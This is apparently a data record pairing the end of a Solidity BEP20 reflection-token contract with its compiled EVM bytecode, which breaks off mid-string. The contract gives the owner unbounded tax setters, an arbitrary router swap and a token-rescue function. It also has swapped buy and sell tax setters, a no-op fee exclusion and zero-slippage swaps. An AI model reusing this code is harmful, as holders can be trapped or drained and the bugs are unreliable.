function _tokenTransfer(address sender, address recipient, uint256 tAmount, bool takeFee, Taxes memory temp) private {
valuesFromGetValues memory s = _getValues(tAmount, takeFee, temp);
if (_isExcluded[sender] ) { //from excluded
_tOwned[sender] = _tOwned[sender]-tAmount;
}
if (_isExcluded[recipient]) { //to excluded
_tOwned[recipient] = _tOwned[recipient]+s.tTransferAmount;
}
_rOwned[sender] = _rOwned[sender]-s.rAmount;
_rOwned[recipient] = _rOwned[recipient]+s.rTransferAmount;
if(s.rRfi > 0 || s.tRfi > 0) _reflectRfi(s.rRfi, s.tRfi);
if(s.rLiquidity > 0 || s.tLiquidity > 0) {
_takeLiquidity(s.rLiquidity,s.tLiquidity);
emit Transfer(sender, address(this), s.tLiquidity);
}
if(s.rMarketing > 0 || s.tMarketing > 0){
_takeMarketing(s.rMarketing, s.tMarketing);
emit Transfer(sender,marketingAddress, s.tMarketing);
}
emit Transfer(sender, recipient, s.tTransferAmount);
}
function swapAndLiquify(uint256 contractBalance) private lockTheSwap{
uint256 tokensToAddLiquidityWith = contractBalance / 2;
uint256 toSwap = contractBalance - tokensToAddLiquidityWith;
uint256 initialBalance = address(this).balance;
swapTokensForBNB(toSwap);
uint256 bnbToAddLiquidityWith = address(this).balance - initialBalance;
if(bnbToAddLiquidityWith > 0){
// Add liquidity to pancake
addLiquidity(tokensToAddLiquidityWith, bnbToAddLiquidityWith);
}
}
function addLiquidity(uint256 tokenAmount, uint256 bnbAmount) private {
// approve token transfer to cover all possible scenarios
_approve(address(this), address(router), tokenAmount);
// add the liquidity
router.addLiquidityETH{value: bnbAmount}(
address(this),
tokenAmount,
0, // slippage is unavoidable
0, // slippage is unavoidable
owner(),
block.timestamp
);
}
function swapTokensForBNB(uint256 tokenAmount) private {
// generate the uniswap pair path of token -> weth
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = router.WETH();
_approve(address(this), address(router), tokenAmount);
// make the swap
router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0, // accept any amount of ETH
path,
address(this),
block.timestamp
);
}
function updateMarketingWallet(address newWallet) external onlyOwner{
require(marketingAddress != newWallet ,'Wallet already set');
marketingAddress = newWallet;
_isExcludedFromFee[marketingAddress];
}
function updateSwapTokensAtAmount(uint256 amount) external onlyOwner{
swapTokensAtAmount = amount * 10**_decimals;
}
function updateSwapEnabled(bool _enabled) external onlyOwner{
swapEnabled = _enabled;
}
function updateTransferTaxes(uint256 _rfi, uint256 _marketing, uint256 _liquidity) external onlyOwner{
taxes = Taxes(_rfi, _marketing, _liquidity);
}
function updateBuyTaxes(uint256 _rfi, uint256 _marketing, uint256 _liquidity) external onlyOwner{
sellTaxes = Taxes(_rfi, _marketing, _liquidity);
}
function updateSellTaxes(uint256 _rfi, uint256 _marketing, uint256 _liquidity) external onlyOwner{
buyTaxes = Taxes(_rfi, _marketing, _liquidity);
}
function updateRouterAndPair(address newRouter, address newPair) external onlyOwner{
router = IRouter(newRouter);
pair = newPair;
}
//Use this in case BNB are sent to the contract by mistake
function rescueBNB(uint256 weiAmount) external onlyOwner{
require(address(this).balance >= weiAmount, "insufficient BNB balance");
payable(msg.sender).transfer(weiAmount);
}
function rescueAnyBEP20Tokens(address _tokenAddr, address _to, uint _amount) public onlyOwner {
IERC20(_tokenAddr).transfer(_to, _amount);
}
receive() external payable{
}
} | 0x6080604052600436106102605760003560e01c8063728f8eea11610144578063a9059cbb116100b6578063e2f456051161007a578063e2f4560514610941578063e9dae5ed1461096c578063ea2f0b3714610995578063f2fde38b146109be578063f66895a3146109e7578063f887ea4014610a1457610267565b8063a9059cbb1461084c578063aacebbe314610889578063b4337b4e146108b2578063d257b34f146108db578063dd62ed3e1461090457610267565b8063924de9b711610108578063924de9b71461073857806395d89b41146107615780639ba5e4d51461078c578063a457c2d7146107b9578063a5ece941146107f6578063a8aa1b311461082157610267565b8063728f8eea1461064d578063864701a51461067a57806388f82020146106a75780638c374ac1146106e45780638da5cb5b1461070d57610267565b806340b28c2f116101dd5780634dd73ffb116101a15780634dd73ffb1461053f57806352390c02146105685780635342acb4146105915780636ddd1713146105ce57806370a08231146105f9578063715018a61461063657610267565b806340b28c2f14610470578063437823ec14610499578063441b1d30146104c257806347c23092146104eb5780634ada218b1461051457610267565b80632d838119116102245780632d83811914610379578063313ce567146103b65780633685d419146103e1578063379ba1d91461040a578063395093511461043357610267565b806306fdde031461026c57806307cf224314610297578063095ea7b3146102d457806318160ddd1461031157806323b872dd1461033c57610267565b3661026757005b600080fd5b34801561027857600080fd5b50610281610a3f565b60405161028e9190614667565b60405180910390f35b3480156102a357600080fd5b506102be60048036038101906102b99190614105565b610a7c565b6040516102cb91906148c9565b60405180910390f35b3480156102e057600080fd5b506102fb60048036038101906102f6919061403e565b610b05565b6040516103089190614631565b60405180910390f35b34801561031d57600080fd5b50610326610b23565b60405161033391906148c9565b60405180910390f35b34801561034857600080fd5b50610363600480360381019061035e9190613feb565b610b2d565b6040516103709190614631565b60405180910390f35b34801561038557600080fd5b506103a0600480360381019061039b91906140d8565b610c2e565b6040516103ad91906148c9565b60405180910390f35b3480156103c257600080fd5b506103cb610c95565b6040516103d89190614975565b60405180910390f35b3480156103ed57600080fd5b5061040860048036038101906104039190613f51565b610c9e565b005b34801561041657600080fd5b50610431600480360381019061042c919061407e565b610fd4565b005b34801561043f57600080fd5b5061045a6004803603810190610455919061403e565b611087565b6040516104679190614631565b60405180910390f35b34801561047c57600080fd5b5061049760048036038101906104929190613fab565b611133565b005b3480156104a557600080fd5b506104c060048036038101906104bb9190613f51565b611235565b005b3480156104ce57600080fd5b506104e960048036038101906104e491906140d8565b61130c565b005b3480156104f757600080fd5b50610512600480360381019061050d9190613feb565b611415565b005b34801561052057600080fd5b50610529611524565b6040516105369190614631565b60405180910390f35b34801561054b57600080fd5b5061056660048036038101906105619190614158565b611537565b005b34801561057457600080fd5b5061058f600480360381019061058a9190613f51565b6115f6565b005b34801561059d57600080fd5b506105b860048036038101906105b39190613f51565b611891565b6040516105c59190614631565b60405180910390f35b3480156105da57600080fd5b506105e36118e7565b6040516105f09190614631565b60405180910390f35b34801561060557600080fd5b50610620600480360381019061061b9190613f51565b6118fa565b60405161062d91906148c9565b60405180910390f35b34801561064257600080fd5b5061064b6119e5565b005b34801561065957600080fd5b50610662611a6d565b6040516106719392919061493e565b60405180910390f35b34801561068657600080fd5b5061068f611a85565b60405161069e9392919061493e565b60405180910390f35b3480156106b357600080fd5b506106ce60048036038101906106c99190613f51565b611a9d565b6040516106db9190614631565b60405180910390f35b3480156106f057600080fd5b5061070b60048036038101906107069190614158565b611af3565b005b34801561071957600080fd5b50610722611bb2565b60405161072f919061458c565b60405180910390f35b34801561074457600080fd5b5061075f600480360381019061075a919061407e565b611bdb565b005b34801561076d57600080fd5b50610776611c74565b6040516107839190614667565b60405180910390f35b34801561079857600080fd5b506107a1611cb1565b6040516107b09392919061493e565b60405180910390f35b3480156107c557600080fd5b506107e060048036038101906107db919061403e565b611cc9565b6040516107ed9190614631565b60405180910390f35b34801561080257600080fd5b5061080b611dbd565b604051610818919061458c565b60405180910390f35b34801561082d57600080fd5b50610836611de3565b604051610843919061458c565b60405180910390f35b34801561085857600080fd5b50610873600480360381019061086e919061403e565b611e09565b6040516108809190614631565b60405180910390f35b34801561089557600080fd5b506108b060048036038101906108ab9190613f51565b611e27565b005b3480156108be57600080fd5b506108d960048036038101906108d49190614158565b611fe5565b005b3480156108e757600080fd5b5061090260048036038101906108fd91906140d8565b6120a4565b005b34801561091057600080fd5b5061092b60048036038101906109269190613fab565b612142565b60405161093891906148c9565b60405180910390f35b34801561094d57600080fd5b506109566121c9565b60405161096391906148c9565b60405180910390f35b34801561097857600080fd5b50610993600480360381019061098e9190614158565b6121cf565b005b3480156109a157600080fd5b506109bc60048036038101906109b79190613f51565b61229a565b005b3480156109ca57600080fd5b506109e560048036038101906109e09190613f51565b612371565b005b3480156109f357600080fd5b506109fc612469565b604051610a0b9392919061493e565b60405180910390f35b348015610a2057600080fd5b50610a29612481565b604051610a36919061464c565b60405180910390f35b60606040518060400160405280600681526020017f566f746f6e780000000000000000000000000000000000000000000000000000815250905090565b6000600a54841115610ac3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610aba90614789565b60405180910390fd5b82610ae5576000610ad6856001856124a7565b90508060000151915050610afe565b6000610af3856001856124a7565b905080602001519150505b9392505050565b6000610b19610b12612503565b848461250b565b6001905092915050565b6000600a54905090565b6000610b3a8484846126d6565b6000600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610b85612503565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610c05576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bfc906147c9565b60405180910390fd5b610c2285610c11612503565b8584610c1d9190614c5c565b61250b565b60019150509392505050565b6000600b54821115610c75576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c6c906146e9565b60405180910390fd5b6000610c7f612d77565b90508083610c8d9190614a60565b915050919050565b60006009905090565b610ca6612503565b73ffffffffffffffffffffffffffffffffffffffff16610cc4611bb2565b73ffffffffffffffffffffffffffffffffffffffff1614610d1a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d11906147e9565b60405180910390fd5b600560008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16610da6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d9d90614769565b60405180910390fd5b60005b600780549050811015610fd0578173ffffffffffffffffffffffffffffffffffffffff1660078281548110610de157610de0614e67565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415610fbd5760076001600780549050610e3c9190614c5c565b81548110610e4d57610e4c614e67565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1660078281548110610e8c57610e8b614e67565b5b9060005260206000200160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506007805480610f8357610f82614e38565b5b6001900381819060005260206000200160006101000a81549073ffffffffffffffffffffffffffffffffffffffff02191690559055610fd0565b8080610fc890614d91565b915050610da9565b5050565b610fdc612503565b73ffffffffffffffffffffffffffffffffffffffff16610ffa611bb2565b73ffffffffffffffffffffffffffffffffffffffff1614611050576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611047906147e9565b60405180910390fd5b80600860006101000a81548160ff02191690831515021790555080600860016101000a81548160ff02191690831515021790555050565b6000611129611094612503565b8484600360006110a2612503565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546111249190614a0a565b61250b565b6001905092915050565b61113b612503565b73ffffffffffffffffffffffffffffffffffffffff16611159611bb2565b73ffffffffffffffffffffffffffffffffffffffff16146111af576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111a6906147e9565b60405180910390fd5b81600860036101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080600960006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505050565b61123d612503565b73ffffffffffffffffffffffffffffffffffffffff1661125b611bb2565b73ffffffffffffffffffffffffffffffffffffffff16146112b1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112a8906147e9565b60405180910390fd5b6001600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b611314612503565b73ffffffffffffffffffffffffffffffffffffffff16611332611bb2565b73ffffffffffffffffffffffffffffffffffffffff1614611388576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161137f906147e9565b60405180910390fd5b804710156113cb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113c2906147a9565b60405180910390fd5b3373ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611411573d6000803e3d6000fd5b5050565b61141d612503565b73ffffffffffffffffffffffffffffffffffffffff1661143b611bb2565b73ffffffffffffffffffffffffffffffffffffffff1614611491576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611488906147e9565b60405180910390fd5b8273ffffffffffffffffffffffffffffffffffffffff1663a9059cbb83836040518363ffffffff1660e01b81526004016114cc9291906145a7565b602060405180830381600087803b1580156114e657600080fd5b505af11580156114fa573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061151e91906140ab565b50505050565b600860009054906101000a900460ff1681565b61153f612503565b73ffffffffffffffffffffffffffffffffffffffff1661155d611bb2565b73ffffffffffffffffffffffffffffffffffffffff16146115b3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115aa906147e9565b60405180910390fd5b604051806060016040528084815260200183815260200182815250600e600082015181600001556020820151816001015560408201518160020155905050505050565b6115fe612503565b73ffffffffffffffffffffffffffffffffffffffff1661161c611bb2565b73ffffffffffffffffffffffffffffffffffffffff1614611672576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611669906147e9565b60405180910390fd5b600560008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156116ff576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116f690614749565b60405180910390fd5b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205411156117d35761178f600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610c2e565b600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6001600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506007819080600181540180825580915050600190039060005260206000200160009091909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b600860019054906101000a900460ff1681565b6000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561199557600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490506119e0565b6119dd600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610c2e565b90505b919050565b6119ed612503565b73ffffffffffffffffffffffffffffffffffffffff16611a0b611bb2565b73ffffffffffffffffffffffffffffffffffffffff1614611a61576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a58906147e9565b60405180910390fd5b611a6b6000612d9b565b565b600e8060000154908060010154908060020154905083565b60118060000154908060010154908060020154905083565b6000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b611afb612503565b73ffffffffffffffffffffffffffffffffffffffff16611b19611bb2565b73ffffffffffffffffffffffffffffffffffffffff1614611b6f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b66906147e9565b60405180910390fd5b6040518060600160405280848152602001838152602001828152506014600082015181600001556020820151816001015560408201518160020155905050505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b611be3612503565b73ffffffffffffffffffffffffffffffffffffffff16611c01611bb2565b73ffffffffffffffffffffffffffffffffffffffff1614611c57576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c4e906147e9565b60405180910390fd5b80600860016101000a81548160ff02191690831515021790555050565b60606040518060400160405280600481526020017f564f545800000000000000000000000000000000000000000000000000000000815250905090565b60178060000154908060010154908060020154905083565b60008060036000611cd8612503565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015611d95576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d8c906148a9565b60405180910390fd5b611db2611da0612503565b858584611dad9190614c5c565b61250b565b600191505092915050565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000611e1d611e16612503565b84846126d6565b6001905092915050565b611e2f612503565b73ffffffffffffffffffffffffffffffffffffffff16611e4d611bb2565b73ffffffffffffffffffffffffffffffffffffffff1614611ea3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e9a906147e9565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff16600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415611f34576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f2b90614829565b60405180910390fd5b80600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060046000600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a90505050565b611fed612503565b73ffffffffffffffffffffffffffffffffffffffff1661200b611bb2565b73ffffffffffffffffffffffffffffffffffffffff1614612061576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612058906147e9565b60405180910390fd5b6040518060600160405280848152602001838152602001828152506011600082015181600001556020820151816001015560408201518160020155905050505050565b6120ac612503565b73ffffffffffffffffffffffffffffffffffffffff166120ca611bb2565b73ffffffffffffffffffffffffffffffffffffffff1614612120576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612117906147e9565b60405180910390fd5b6009600a61212e9190614ae4565b816121399190614c02565b600c8190555050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600c5481565b6121d7612503565b73ffffffffffffffffffffffffffffffffffffffff166121f5611bb2565b73ffffffffffffffffffffffffffffffffffffffff161461224b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612242906147e9565b60405180910390fd5b82600e6000018190555081600e6001018190555080600e600201819055507f846206d6c3449ac0b05841dfb88bf28b55aef00f96152490c69c96238048de1560405160405180910390a1505050565b6122a2612503565b73ffffffffffffffffffffffffffffffffffffffff166122c0611bb2565b73ffffffffffffffffffffffffffffffffffffffff1614612316576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161230d906147e9565b60405180910390fd5b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b612379612503565b73ffffffffffffffffffffffffffffffffffffffff16612397611bb2565b73ffffffffffffffffffffffffffffffffffffffff16146123ed576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016123e4906147e9565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141561245d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161245490614709565b60405180910390fd5b61246681612d9b565b50565b60148060000154908060010154908060020154905083565b600860039054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6124af613e02565b6124ba848484612e5f565b90506124cf8185856124ca612d77565b612f2b565b8560000186602001876040018860600189608001858152508581525085815250858152508581525050505050509392505050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561257b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161257290614869565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156125eb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125e290614729565b60405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516126c991906148c9565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415612746576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161273d90614849565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156127b6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016127ad90614689565b60405180910390fd5b600081116127f9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016127f090614809565b60405180910390fd5b612802836118fa565b811115612844576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161283b906146c9565b60405180910390fd5b600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156128e85750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b612927576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161291e90614889565b60405180910390fd5b600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156129cb5750600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15612a2057600860009054906101000a900460ff16612a1f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612a16906146a9565b60405180910390fd5b5b6000600c54612a2e306118fa565b10159050600860029054906101000a900460ff16158015612a5b5750600860019054906101000a900460ff165b8015612a645750805b8015612abe5750600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015612b145750600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015612b6a5750600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15612b7b57612b7a600c54612fc3565b5b612b83613e4e565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161415612c0b57601160405180606001604052908160008201548152602001600182015481526020016002820154815250509050612cc2565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415612c9357601460405180606001604052908160008201548152602001600182015481526020016002820154815250509050612cc1565b600e604051806060016040529081600082015481526020016001820154815260200160028201548152505090505b5b612d70858585600460008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680612d695750600460008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1585613053565b5050505050565b6000806000612d84613541565b915091508082612d949190614a60565b9250505090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b612e67613e02565b82612e7b57838160a0018181525050612f24565b6064826000015185612e8d9190614c02565b612e979190614a60565b8160c00181815250506064826020015185612eb29190614c02565b612ebc9190614a60565b8160e00181815250506064826040015185612ed79190614c02565b612ee19190614a60565b816101000181815250508061010001518160e001518260c0015186612f069190614c5c565b612f109190614c5c565b612f1a9190614c5c565b8160a00181815250505b9392505050565b60008060008060008588612f3f9190614c02565b945086612f5c578485600080600094509450945094509450612fb8565b858960c00151612f6c9190614c02565b9250858960e00151612f7e9190614c02565b915085896101000151612f919190614c02565b905080828487612fa19190614c5c565b612fab9190614c5c565b612fb59190614c5c565b93505b945094509450945094565b6001600860026101000a81548160ff0219169083151502179055506000600282612fed9190614a60565b905060008183612ffd9190614c5c565b9050600047905061300d826137df565b6000814761301b9190614c5c565b90506000811115613031576130308482613a31565b5b505050506000600860026101000a81548160ff02191690831515021790555050565b60006130608484846124a7565b9050600560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156131435783600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546130ff9190614c5c565b600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615613228578060a00151600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546131e49190614a0a565b600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8060000151600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546132779190614c5c565b600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508060200151600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546133099190614a0a565b600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600081604001511180613363575060008160c00151115b1561337b5761337a81604001518260c00151613b25565b5b60008160800151118061339357506000816101000151115b15613416576133ab8160800151826101000151613b5e565b3073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83610100015160405161340d91906148c9565b60405180910390a35b60008160600151118061342d575060008160e00151115b156134d05761344481606001518260e00151613c7d565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360e001516040516134c791906148c9565b60405180910390a35b8473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360a0015160405161353191906148c9565b60405180910390a3505050505050565b6000806000600b5490506000600a54905060005b6007805490508110156137a95782600160006007848154811061357b5761357a614e67565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541180613669575081600260006007848154811061360157613600614e67565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b1561368057600b54600a54945094505050506137db565b600160006007838154811061369857613697614e67565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054836137099190614c5c565b9250600260006007838154811061372357613722614e67565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054826137949190614c5c565b915080806137a190614d91565b915050613555565b50600a54600b546137ba9190614a60565b8210156137d257600b54600a549350935050506137db565b81819350935050505b9091565b6000600267ffffffffffffffff8111156137fc576137fb614e96565b5b60405190808252806020026020018201604052801561382a5781602001602082028036833780820191505090505b509050308160008151811061384257613841614e67565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600860039054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156138e457600080fd5b505afa1580156138f8573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061391c9190613f7e565b816001815181106139305761392f614e67565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061399730600860039054906101000a900473ffffffffffffffffffff